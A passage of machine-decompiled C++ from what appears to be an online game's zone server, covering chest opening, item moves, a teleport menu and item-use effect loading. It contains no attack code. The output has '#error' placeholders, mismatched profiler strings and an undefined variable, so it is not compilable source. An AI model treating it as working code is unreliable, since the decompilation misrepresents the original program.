"ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(pAck + 6); v29 = 0; if ( v3 == 10309 || v3 == 10310 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1794, 9); v29 = -1; v16 = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; goto LABEL_17; } v4 = *(_WORD *)(pAck + 16) & 0x3FF; v5 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8920))( (char *)v2 + 35680, *(_WORD *)(pAck + 16) & 0x3FF); v6 = v5; iic = v5; if ( !v5 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1794, 9); v29 = -1; v16 = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); goto LABEL_18; } if ( *(_DWORD *)v5 == *(_DWORD *)(pAck + 8) && *(_DWORD *)(v5 + 4) == *(_DWORD *)(pAck + 12) ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13476; *((_WORD *)v7 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v7 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v7 + 14) = *(_DWORD *)v6; *(_DWORD *)(v7 + 18) = *(_DWORD *)(v6 + 4); *((_WORD *)v7 + 6) = *((_WORD *)v2 + 28942); ItemBoxIterEmpty::ItemBoxIterEmpty( &itemitertmp, (ItemBag *)v2 + 8920, (ChargedEffectContainer *)((char *)v2 + 142688)); itemiter = &itemitertmp; v8 = (int)((char *)v2 + 57880); LOBYTE(v29) = 1; v22 = (char *)v2 + 57880; v23 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&itemiter) ) { v11 = *(_DWORD *)v8; v12 = *((_WORD *)v2 + 28942); invenloc.Inven = v4 & 0x3FF | 0x2400; (*(void (__thiscall **)(char *, int, int, ITEM_INVEN *, ITEM_INVEN *))(v11 + 48))( (char *)v2 + 57880, v12, iic, &invenloc, &invenloc); ItemTotalInformation::iti_fill2struct_whole( (ItemTotalInformation *)&iti, &itmattcontainer.iacc_default, 0xFFFFu, (char *)(v24 + 18)); ivn.Inven = ivn.Inven & 0x3FF | 0x2400; ivn.Inven ^= (ivn.Inven ^ LOWORD(itemiter->baseclass_0.ibi_finger)) & 0x3FF; *((_WORD *)v7 + 15) = ivn.Inven; *(_DWORD *)(v7 + 22) = iti; *(_DWORD *)(v7 + 26) = v27; v13 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8920))( (char *)v2 + 35680, itemiter->baseclass_0.ibi_finger); if ( AssertClass::operator__(&shineassert, v13 != 0, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid cell", 0) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1814, 9); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v8 + 40))(v8, *((_WORD *)v2 + 28942)); } else { (*(void (__thiscall **)(char *, _DWORD, int, int *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v8 + 56))( (char *)v2 + 57880, *((_WORD *)v7 + 6), v13, &iti, &ivn, &ivn); ++*((_WORD *)v2 + 28942); v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 32); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShinePlayer::sp_uie_ItemChest_Direct : Packet Too Long", 32) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v15); } } } else { v9 = *(_DWORD *)v2; v10 = ShineScript::ss_String(&shinescriptetc, "PresentBoxInvenFull"); (*(void (__thiscall **)(void *, const char *))(v9 + 1924))(v2, v10); (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v2 + 2332))(v2, 1812, 9); } itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v2 + 2332))(v2, 1794, 9); } v29 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_18: __security_check_cookie((unsigned int)&invenloc ^ v28); } //----- (00567D80) -------------------------------------------------------- #error "567D80: undefined or illegal type '#593' (funcsize=95)" //----- (00567EE0) -------------------------------------------------------- #error "567EE0: undefined or illegal type '#734' (funcsize=74)" //----- (00567FE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Move4Activ(void *sp, int slot, __int16 to, __int16 from) { void *v4; // esi@1 __int16 v5; // di@1 int v6; // ebx@1 int v7; // eax@5 char *v8; // edi@6 int v9; // eax@6 ZoneBaseSession *v10; // eax@8 int v11; // edi@9 int v12; // eax@9 int v13; // edi@9 int v14; // eax@9 int v15; // eax@9 v4 = sp; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move4Activ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Move4Activ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = slot; v6 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))((char *)v4 + 35680, slot); if ( !v6 || *(_DWORD *)v6 != *(_DWORD *)to || *(_DWORD *)(v6 + 4) != *(_DWORD *)(to + 4) ) { LABEL_10: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2332))(v4, 1792, 9); goto LABEL_11; } if ( from == 15 ) { v7 = ItemSmallBag::isb_FindEmpty( (ItemSmallBag *)v4 + 14259, (#734 *)v4); if ( v7 >= 0 ) { to = v5 & 0x3FF | 0x2400; v8 = gpp.pp_Buffer; LOWORD(slot) = v7 & 0x3FF | 0x3C00; *((_WORD *)gpp.pp_Buffer + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *(_WORD *)v8 = 13352; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v8 + 3) = v9; *((_DWORD *)v8 + 2) = v9; *((_WORD *)v8 + 8) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4) + 4); *((_WORD *)v8 + 13) = slot; *(_DWORD *)(v8 + 18) = *(_DWORD *)v6; *(_DWORD *)(v8 + 22) = *(_DWORD *)(v6 + 4); *((_WORD *)v8 + 14) = to; *((_WORD *)v8 + 15) = *(_WORD *)(v6 + 8); *((_DWORD *)v8 + 8) = (*(int (__stdcall **)(int))(**(_DWORD **)(v6 + 112) + 24))(v6 + 8); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 36) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail(&shineassert, "ItemRelocationManager::irm_Move : Packet Too Long", 36); } v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, __int16 *, int *))(*(_DWORD *)v11 + 48))( v11, *(_WORD *)(v12 + 4), v6, &to, &slot); v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); LOWORD(v14) = *(_WORD *)(v14 + 4); (*(void (__thiscall **)(int, int, int *, int, int *, __int16 *))(*(_DWORD *)v13 + 60))( v13, v14, &slot, v6, &slot, &to); v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v15 + 4); goto LABEL_10; } } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move4Activ"); } //----- (00568210) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_Cancel(ServerMenuFuncter *this, #734 *a2, ServerMenuArgument *arg) { ServerMenuFuncter *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Cancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_Cancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_silverwing_Cancel((void *)a2, (int)arg); ServerMenuFuncter::smfm_Cancel(v3, a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Cancel"); } //----- (005682C0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_Portal(ServerMenuFuncter *this, #734 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Portal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_Portal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_SilverWing_PortalCast(a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Portal"); } // 5648C0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SilverWing_PortalCast(_DWORD, _DWORD); //----- (00568360) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Setloc(void *this, int inven) { void *v2; // ebx@1 int v3; // edx@1 __int16 v4; // ax@1 int v5; // eax@1 int v6; // ebp@1 unsigned __int16 v7; // ax@1 int v8; // eax@3 char *v9; // eax@5 int v10; // eax@5 signed int v11; // [sp-8h] [bp-A0h]@2 signed int v12; // [sp-4h] [bp-9Ch]@2 int v13; // [sp+10h] [bp-88h]@1 FunctionEntarance _; // [sp+14h] [bp-84h]@1 char silverwing; // [sp+18h] [bp-80h]@5 int v16; // [sp+21h] [bp-77h]@5 int v17; // [sp+25h] [bp-73h]@5 int v18; // [sp+29h] [bp-6Fh]@5 __int16 v19; // [sp+84h] [bp-14h]@5 char v20; // [sp+86h] [bp-12h]@5 unsigned int v21; // [sp+88h] [bp-10h]@1 int v22; // [sp+94h] [bp-4h]@1 v2 = this; v21 = (unsigned int)&v13 ^ __security_cookie; v13 = inven; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8920); v4 = *(_WORD *)inven; v22 = 0; v5 = (*(int (__thiscall **)(char *, int))v3)((char *)v2 + 35680, v4 & 0x3FF); v6 = v5; v7 = *(_WORD *)(v5 + 8); if ( v7 != unk_131DF0CC ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_silverwing_Setloc : wrong item", v7); v12 = 9; v11 = 1795; LABEL_7: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, v11, v12); v22 = -1; goto LABEL_8; } v8 = *(_DWORD *)((char *)v2 + 98); if ( !v8 || !*(_BYTE *)(*(_DWORD *)(v8 + 12) + 100) ) { v12 = 9; v11 = 1807; goto LABEL_7; } memcpy(&silverwing, (const void *)v6, 0x6Cu); v19 = *(_WORD *)(v6 + 108); v20 = *(_BYTE *)(v6 + 110); BYTE1(v16) = 1; v9 = NameString::operator__(&namestring, (Name3 *)v8); HIWORD(v16) = MapDataBox::mdb_2mapid(&mapdatabox, v9); v10 = *(_DWORD *)((char *)v2 + 78); v17 = *(_DWORD *)v10; v18 = *(_DWORD *)(v10 + 4); ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v2, v6, *(_DWORD *)(v6 + 112), (int)&silverwing, v13); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1792, 9); v22 = -1; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"); __security_check_cookie((unsigned int)&v13 ^ v21); } //----- (00568500) -------------------------------------------------------- char __thiscall UseEffect::UseItemActionItem::uib_DirectUse(UseEffect::UseItemActionItem *this, #734 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemActionItem::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemActionItem::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Move4Activ((void *)a2, slot, (__int16)itm, 15); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemActionItem::uib_DirectUse"); return 1; } //----- (005685B0) -------------------------------------------------------- char __thiscall UseEffect::UseItemCapsule::uib_DirectUse(UseEffect::UseItemCapsule *this, #734 *a2, int slot, ItemTotalInformation *itm) { char result; // al@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemCoin::uib_AfterCast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemCoin::uib_AfterCast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) { ShineObjectClass::ShinePlayer::sp_CapsuleItemOpen((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemCoin::uib_AfterCast"); result = 1; } else { (*(void (__stdcall **)(_DWORD, _DWORD))(v0 + 2332))(1793, 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemCoin::uib_AfterCast"); result = 0; } return result; } //----- (005686A0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_LocSet(ServerMenuFuncter *this, #734 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_LocSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_LocSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_silverwing_Setloc((void *)a2, (int)arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_LocSet"); } //----- (00568740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWingMenu(void *this, __int16 slot, int itm) { void *v3; // esi@1 int v4; // eax@3 unsigned __int16 v5; // cx@3 const char *v6; // eax@3 const char *v7; // eax@4 const char *v8; // ST14_4@5 CharModeClassifier v9; // ST0C_2@5 const char *v10; // eax@5 void *v11; // eax@5 void *v12; // eax@5 ITEM_INVEN invenloc; // [sp+Ch] [bp-154h]@1 int v14; // [sp+10h] [bp-150h]@5 FunctionEntarance _; // [sp+14h] [bp-14Ch]@1 ServerMenuArgument cancel; // [sp+18h] [bp-148h]@3 ServerMenuArgument portal; // [sp+80h] [bp-E0h]@3 ServerMenuArgument setloc; // [sp+E8h] [bp-78h]@3 unsigned int v19; // [sp+150h] [bp-10h]@1 int v20; // [sp+15Ch] [bp-4h]@1 v3 = this; v19 = (unsigned int)&invenloc ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( ServerMenuActor::sma_IsReady((ServerMenuActor *)((char *)v3 + 68628)) && !*(_DWORD *)((char *)v3 + 68579) ) { v4 = *(_DWORD *)((char *)v3 + 78); v5 = invenloc.Inven; *((_WORD *)v3 + 34304) = -1; *((_DWORD *)v3 + 17153) = 0; *((_DWORD *)v3 + 17157) = *(_DWORD *)v4; *((_DWORD *)v3 + 17158) = *(_DWORD *)(v4 + 4); invenloc.Inven = v5 & 0x3FF | 0x2400; *(_WORD *)&cancel.sma_link.sml_lnkinf.index[0] = invenloc.Inven ^ (invenloc.Inven ^ slot) & 0x3FF; *(_WORD *)&portal.sma_link.sml_lnkinf.index[0] = invenloc.Inven ^ (invenloc.Inven ^ slot) & 0x3FF; *(_WORD *)&setloc.sma_link.sml_lnkinf.index[0] = invenloc.Inven ^ (invenloc.Inven ^ slot) & 0x3FF; v6 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingTitle"); ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(v3, v6); if ( *(_BYTE *)(itm + 10) ) { invenloc.Inven = 78; v7 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingPortal"); ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v3, ServerMenuFuncter::smfm_Silverwing_Portal, v7, &portal, (CharModeClassifier)78); } invenloc.Inven = 78; LOWORD(v14) = 78; v8 = ShineScript::ss_String(&shinescriptetc, "Cancel"); v9.cmc_AllowMode = v14; v10 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingLocSet"); v11 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v3, ServerMenuFuncter::smfm_Silverwing_LocSet, v10, &setloc, v9); v12 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v11, ServerMenuFuncter::smfm_Silverwing_Cancel, v8, &cancel, (CharModeClassifier)78); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(v12, 0, -1, 0, 1000); } --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"); __security_check_cookie((unsigned int)&invenloc ^ v19); } //----- (00568940) -------------------------------------------------------- char __thiscall UseEffect::UseItemSilverWing::uib_DirectUse(UseEffect::UseItemSilverWing *this, #734 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemSilverWing::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemSilverWing::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_SilverWingMenu((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemSilverWing::uib_DirectUse"); return 1; } //----- (005689E0) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall UseEffect::UsedItemEffect::uie_UseSkillID(UseEffect::UsedItemEffect *this, char *skillname) { unsigned int v2; // eax@1 SkillDataBox::SkillDataIndex *result; // eax@2 v2 = BTree::operator__(&skillnametree, skillname); *(_DWORD *)&skillbtreeunion = v2; if ( v2 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Not found", skillname); result = 0; } else { if ( *((_BYTE *)&skillbtreeunion + 2) ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Passive", skillname); result = 0; } else { result = SkillDataBox::operator__(&skilldatabox, v2); if ( !result ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Skill", skillname); result = 0; } } } return result; } //----- (00568A70) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_Load(UseEffect::UsedItemEffect *this) { UseEffect::UsedItemEffect *v1; // esi@1 unsigned int v2; // ST04_4@1 void *v3; // eax@1 signed int v4; // ecx@4 int v5; // eax@5 unsigned int v6; // eax@7 signed __int16 v7; // cx@10 void *v8; // eax@12 int v9; // edi@15 int v10; // ebp@16 unsigned __int16 v11; // ax@18 unsigned __int16 *v12; // ebp@24 int v13; // edi@25 SkillDataBox::SkillDataIndex *v14; // eax@25 int v15; // edi@26 unsigned int v16; // eax@40 void *v17; // ebx@44 unsigned int v18; // eax@46 signed __int16 v19; // bp@47 unsigned int v20; // eax@54 int v21; // edi@57 int v22; // ebp@58 unsigned __int16 v23; // ax@60 int v24; // edi@66 char *v25; // [sp-4h] [bp-20h]@26 unsigned int item; // [sp+10h] [bp-Ch]@7 signed __int16 itema; // [sp+10h] [bp-Ch]@47 unsigned int k; // [sp+14h] [bp-8h]@40 unsigned int num; // [sp+18h] [bp-4h]@40 v1 = this; v2 = 16 * word_131DE8B4[0]; this->uie_MaxItemID = word_131DE8B4[0]; v3 = operator new__(v2); v1->uie_FuncStruct = (UseEffect::UIE_Functions *)v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "UsedItemEffect::uie_Load : Memory leak", 0); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v4 = 0; if ( v1->uie_MaxItemID > 0u ) { v5 = 0; do { v1->uie_FuncStruct[v5].useeffectstruct = &v1->uie_DefStruct; v1->uie_FuncStruct[v5].useitemclass = (UseEffect::UseItemBase *)&ui_base; v1->uie_FuncStruct[v5].useskill = 0; v1->uie_FuncStruct[v5].broadcast = 0; ++v4; ++v5; } while ( v4 < v1->uie_MaxItemID ); } v6 = 0; for ( item = 0; ; v6 = item ) { if ( v6 < itemdatabox.idb_Itemspacies ) { if ( v6 < stru_131DECBC.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v8 = CDataReader::GetRecord(&stru_131DECBC.baseclass_0.baseclass_0, v6); else v8 = &stru_131DECBC.bdb_defaultblock; v7 = *(_WORD *)v8; } else { v7 = -1; } v9 = (unsigned __int16)v7; if ( (unsigned int)(unsigned __int16)v7 < *(_DWORD *)word_131DE8B4 ) { v10 = unk_131DF0C4 + 32 * (unsigned __int16)v7; if ( v10 ) { if ( *(_DWORD *)v10 ) { v11 = **(_WORD **)v10; if ( v11 == v7 ) goto LABEL_21; AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v11 + 10000 * (unsigned __int16)v7); } } } v10 = 0; LABEL_21: if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "UsedItemEffect::uie_Load : Invalid ItemIndex", v9); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v12 = *(unsigned __int16 **)v10; switch ( *(_DWORD *)(v12 + 51) ) { case 0xB: v13 = v9; v1->uie_FuncStruct[v13].useitemclass = (UseEffect::UseItemBase *)&ui_skillscroll; v14 = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); goto LABEL_35; case 0xC: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = (UseEffect::UseItemBase *)&ui_recallscroll; v25 = "UseStageRecallScroll"; goto LABEL_27; case 0xF: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = &ui_chestopen; v25 = "UsePresentBox"; goto LABEL_27; case 9: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = &ui_minihousefurniture; v25 = "UseSkill"; goto LABEL_27; case 0x1C: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = (UseEffect::UseItemBase *)&ui_actionitem; v25 = "UseSkill"; goto LABEL_27; case 0x1F: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = (UseEffect::UseItemBase *)&ui_GBCoin; v25 = "UseSkill"; goto LABEL_27; case 0x20: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = (UseEffect::UseItemBase *)&ui_Capsule; v25 = "UseSkill"; LABEL_27: v1->uie_FuncStruct[v15].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, v25); break; default: if ( *((_BYTE *)v12 + 321) != 45 ) { v14 = UseEffect::UsedItemEffect::uie_UseSkillID(v1, (char *)v12 + 321); v13 = v9; LABEL_35: v1->uie_FuncStruct[v13].useskill = v14; } break; } ++item; if ( item >= itemdatabox.idb_Itemspacies ) break; } v1->uie_FuncStruct[unk_131DF0F8].useitemclass = (UseEffect::UseItemBase *)&ui_Propose; v1->uie_FuncStruct[unk_131DF0F8].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); if ( word_131DF100 != -1 ) { v1->uie_FuncStruct[word_131DF100].useitemclass = (UseEffect::UseItemBase *)&ui_ImmediateDivorce; v1->uie_FuncStruct[word_131DF100].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); } else { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_Load : cannot find InstantDivorce item", 0); } v1->uie_FuncStruct[unk_131DF102].useitemclass = (UseEffect::UseItemBase *)&ui_Fire; v1->uie_FuncStruct[unk_131DF102].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "Camping"); v1->uie_DefStruct.UseEffectC = 10; v1->uie_DefStruct.UseEffectB = 10; v1->uie_DefStruct.UseEffectA = 10; v1->uie_DefStruct.UseAbstateIndex = 609; BinaryDataBox::bdb_ReadData(&v1->uie_BinData, "../9Data/Hero/ItemUseEffect.shn"); v1->uie_FuncStruct[unk_131DF10C].useitemclass = (UseEffect::UseItemBase *)&ui_StatClearStat; v1->uie_FuncStruct[unk_131DF10C].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); v1->uie_FuncStruct[unk_131DF10A].useitemclass = (UseEffect::UseItemBase *)&ui_JustRevive; v1->uie_FuncStruct[unk_131DF10A].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); v16 = 0; num = v1->uie_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; k = 0; if ( (signed int)num > 0 ) { while ( 1 ) { if ( v16 < v1->uie_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->uie_BinData.baseclass_0.baseclass_0, v16); else v17 = &v1->uie_BinData.bdb_defaultblock; v18 = BTree::operator__(&stru_131DE8B8, (const char *)v17); if ( v18 == -1 ) { v19 = -1; itema = -1; } else { itema = v18; v19 = v18; } if ( v19 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "UseEffect::UsedItemEffect::uie_Load : Invalid item", (const char *)v17); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } if ( *((_BYTE *)v17 + 50) == 45 ) { *(_DWORD *)((char *)v17 + 82) = 609; } else { v20 = BTree::operator__(&unk_6BD71C, (const char *)v17 + 50); *(_DWORD *)((char *)v17 + 82) = v20; if ( v20 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "UseEffect::UsedItemEffect::uie_Load : AbState wrong", (const char *)v17 + 50); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } } v21 = (unsigned __int16)v19; if ( (unsigned int)(unsigned __int16)v19 < *(_DWORD *)word_131DE8B4 ) { v22 = unk_131DF0C4 + 32 * (unsigned __int16)v19; if ( v22 ) { if ( *(_DWORD *)v22 ) { v23 = **(_WORD **)v22; if ( v23 == itema ) goto LABEL_63; AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v23 + 10000 * v21); } } } v22 = 0; LABEL_63: if ( !v22 ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_Load : Null Item", v21); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v24 = v21; if ( *(_DWORD *)(*(_DWORD *)v22 + 102) == 28 ) { v1->uie_FuncStruct[v24].useeffectstruct = (ItemUseEffect *)v17; } else { v1->uie_FuncStruct[v24].useeffectstruct = (ItemUseEffect *)v17; v1->uie_FuncStruct[v24].useitemclass = (UseEffect::UseItemBase *)&ui_bytable; v1->uie_FuncStruct[v24].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, (char *)(*(_DWORD *)v22 + 321)); } ++k; if ( (signed int)k >= (signed int)num ) return; v16 = k; } } } // 6B6510: using guessed type int (__stdcall **ui_base)(int, int itm); //----- 